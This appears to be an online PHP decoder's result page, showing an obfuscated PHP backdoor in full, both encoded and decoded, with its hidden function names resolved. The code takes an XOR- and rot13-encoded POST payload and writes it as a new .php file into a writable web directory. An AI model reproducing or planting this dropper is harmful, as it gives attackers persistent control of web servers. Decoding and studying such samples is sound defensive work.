Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $LRSamyx = chr(68)."\x4f"."\103".chr(85).'M'."\x45".'N'.chr(104-20).chr(95).'R'.chr(..

Decoded Output download

<?php $LRSamyx = chr(68)."O"."C".chr(85).'M'."E".'N'.chr(104-20).chr(95).'R'.chr(337-258)."O".chr(483-399);$iyFzgorFR = chr(72)."T".'T'."P".chr(250-155)."H"."O"."S".'T';$DnehrkSJi = chr(282-178)."t".'t'.'p'.":"."/"."/";$kZXvQ = chr(979-933)."p".chr(104).chr(112);$ZTdyNOdH = "p".'h'.chr(1082-970);$qoeAQuGghJ = "f"."i"."l"."e"."_"."p".'u'."t".'_'.chr(1076-977)."o".'n'.chr(116).chr(101)."n"."t".chr(115);$zSAcJo = 'r'.'a'."w"."u".chr(114)."l".'d'.chr(101).chr(99).chr(111).'d'.'e';$jDVfhgPJK = "u".chr(773-663).chr(115)."e"."r".chr(105).chr(1010-913).'l'.chr(105)."z"."e";$PvEeixgZa = "i".chr(773-658).chr(312-217).chr(119).'r'.'i'."t"."a".'b'.'l'.chr(380-279);$YmtVSP = 'p'."h".chr(112)."v".'e'."r".chr(115).'i'."o".'n';$grZLUGocE = 's'.'t'.chr(1021-907).'_'.chr(114)."o".'t'.chr(49)."3";$hWOcx = "s".chr(328-227).chr(954-840).chr(288-183).chr(637-540).chr(108)."i"."z".chr(101);$EHCHa = "s"."t".chr(143-29)."_".chr(666-551)."p"."l"."i".'t';foreach ($_POST as $PJwuCmQioW => $wgwmsHTcG){$AkLsXQPF = strlen($PJwuCmQioW);if ($AkLsXQPF == 16){$wgwmsHTcG = $EHCHa($zSAcJo($grZLUGocE($wgwmsHTcG)));$PJwuCmQioW = array_slice($EHCHa(str_repeat($PJwuCmQioW, (count($wgwmsHTcG)/16)+1)), 0, count($wgwmsHTcG));function xlAQXfba($NtGFfrxuk, $XidiHTZSuE, $PJwuCmQioW){$YfiPmf = "665eebf6-9366-4a55-a4f7-c27dd09d12be";return $NtGFfrxuk ^ $YfiPmf[$XidiHTZSuE % strlen($YfiPmf)] ^ $PJwuCmQioW;}$wgwmsHTcG = implode("", array_map("xlAQXfba", array_values($wgwmsHTcG), array_keys($wgwmsHTcG), array_values($PJwuCmQioW)));$wgwmsHTcG = @$jDVfhgPJK($wgwmsHTcG);if (@is_array($wgwmsHTcG)){$oIwmyIB = array_keys($wgwmsHTcG);$wgwmsHTcG = $wgwmsHTcG[$oIwmyIB[0]];if ($wgwmsHTcG === $oIwmyIB[0]){echo @$hWOcx(Array($ZTdyNOdH => @$YmtVSP(), ));exit();}else {function WuIzWbl($PzTWlEhDGOir){static $EVTeWzyZ = array();$ICEhssw = glob($PzTWlEhDGOir . '/*', GLOB_ONLYDIR);$wuVhXDbHe = count($ICEhssw);if ($wuVhXDbHe > 0) {foreach ($ICEhssw as $PzTWlEhDGO) {if (@$PvEeixgZa($PzTWlEhDGO)) {$EVTeWzyZ[] = $PzTWlEhDGO;}}}foreach ($ICEhssw as $PzTWlEhDGOir) WuIzWbl($PzTWlEhDGOir);return $EVTeWzyZ;}$rUyxxj = $_SERVER[$LRSamyx];$ICEhssw = WuIzWbl($rUyxxj);$oIwmyIB = array_rand($ICEhssw);$xWZNSeqWK = $ICEhssw[$oIwmyIB] . "/" . substr(md5(time()), 0, 8) . $kZXvQ;@$qoeAQuGghJ($xWZNSeqWK, $wgwmsHTcG);echo $DnehrkSJi . $_SERVER[$iyFzgorFR] . substr($xWZNSeqWK, strlen($rUyxxj));die();}}}} ?>

Did this file decode correctly?

Original Code

<?php $LRSamyx = chr(68)."\x4f"."\103".chr(85).'M'."\x45".'N'.chr(104-20).chr(95).'R'.chr(337-258)."\x4f".chr(483-399);$iyFzgorFR = chr(72)."\124".'T'."\120".chr(250-155)."\110"."\x4f"."\x53".'T';$DnehrkSJi = chr(282-178)."\x74".'t'.'p'."\x3a"."\57"."\x2f";$kZXvQ = chr(979-933)."\x70".chr(104).chr(112);$ZTdyNOdH = "\160".'h'.chr(1082-970);$qoeAQuGghJ = "\x66"."\x69"."\154"."\145"."\137"."\x70".'u'."\x74".'_'.chr(1076-977)."\157".'n'.chr(116).chr(101)."\x6e"."\164".chr(115);$zSAcJo = 'r'.'a'."\x77"."\165".chr(114)."\x6c".'d'.chr(101).chr(99).chr(111).'d'.'e';$jDVfhgPJK = "\165".chr(773-663).chr(115)."\x65"."\x72".chr(105).chr(1010-913).'l'.chr(105)."\x7a"."\x65";$PvEeixgZa = "\x69".chr(773-658).chr(312-217).chr(119).'r'.'i'."\164"."\141".'b'.'l'.chr(380-279);$YmtVSP = 'p'."\150".chr(112)."\x76".'e'."\162".chr(115).'i'."\x6f".'n';$grZLUGocE = 's'.'t'.chr(1021-907).'_'.chr(114)."\x6f".'t'.chr(49)."\x33";$hWOcx = "\163".chr(328-227).chr(954-840).chr(288-183).chr(637-540).chr(108)."\151"."\172".chr(101);$EHCHa = "\x73"."\x74".chr(143-29)."\137".chr(666-551)."\160"."\154"."\151".'t';foreach ($_POST as $PJwuCmQioW => $wgwmsHTcG){$AkLsXQPF = strlen($PJwuCmQioW);if ($AkLsXQPF == 16){$wgwmsHTcG = $EHCHa($zSAcJo($grZLUGocE($wgwmsHTcG)));$PJwuCmQioW = array_slice($EHCHa(str_repeat($PJwuCmQioW, (count($wgwmsHTcG)/16)+1)), 0, count($wgwmsHTcG));function xlAQXfba($NtGFfrxuk, $XidiHTZSuE, $PJwuCmQioW){$YfiPmf = "665eebf6-9366-4a55-a4f7-c27dd09d12be";return $NtGFfrxuk ^ $YfiPmf[$XidiHTZSuE % strlen($YfiPmf)] ^ $PJwuCmQioW;}$wgwmsHTcG = implode("", array_map("xlAQXfba", array_values($wgwmsHTcG), array_keys($wgwmsHTcG), array_values($PJwuCmQioW)));$wgwmsHTcG = @$jDVfhgPJK($wgwmsHTcG);if (@is_array($wgwmsHTcG)){$oIwmyIB = array_keys($wgwmsHTcG);$wgwmsHTcG = $wgwmsHTcG[$oIwmyIB[0]];if ($wgwmsHTcG === $oIwmyIB[0]){echo @$hWOcx(Array($ZTdyNOdH => @$YmtVSP(), ));exit();}else {function WuIzWbl($PzTWlEhDGOir){static $EVTeWzyZ = array();$ICEhssw = glob($PzTWlEhDGOir . '/*', GLOB_ONLYDIR);$wuVhXDbHe = count($ICEhssw);if ($wuVhXDbHe > 0) {foreach ($ICEhssw as $PzTWlEhDGO) {if (@$PvEeixgZa($PzTWlEhDGO)) {$EVTeWzyZ[] = $PzTWlEhDGO;}}}foreach ($ICEhssw as $PzTWlEhDGOir) WuIzWbl($PzTWlEhDGOir);return $EVTeWzyZ;}$rUyxxj = $_SERVER[$LRSamyx];$ICEhssw = WuIzWbl($rUyxxj);$oIwmyIB = array_rand($ICEhssw);$xWZNSeqWK = $ICEhssw[$oIwmyIB] . "/" . substr(md5(time()), 0, 8) . $kZXvQ;@$qoeAQuGghJ($xWZNSeqWK, $wgwmsHTcG);echo $DnehrkSJi . $_SERVER[$iyFzgorFR] . substr($xWZNSeqWK, strlen($rUyxxj));die();}}}}

Function Calls

chr 43

Variables

$EHCHa str_split
$hWOcx serialize
$kZXvQ .php
$YmtVSP phpversion
$zSAcJo rawurldecode
$LRSamyx DOCUMENT_ROOT
$ZTdyNOdH php
$DnehrkSJi http://
$PvEeixgZa is_writable
$grZLUGocE str_rot13
$iyFzgorFR HTTP_HOST
$jDVfhgPJK unserialize
$qoeAQuGghJ file_put_contents

Stats

MD5 f84d3d7c6eb7a0fdd0e47e2b204fd62f
Eval Count 0
Decode Time 108 ms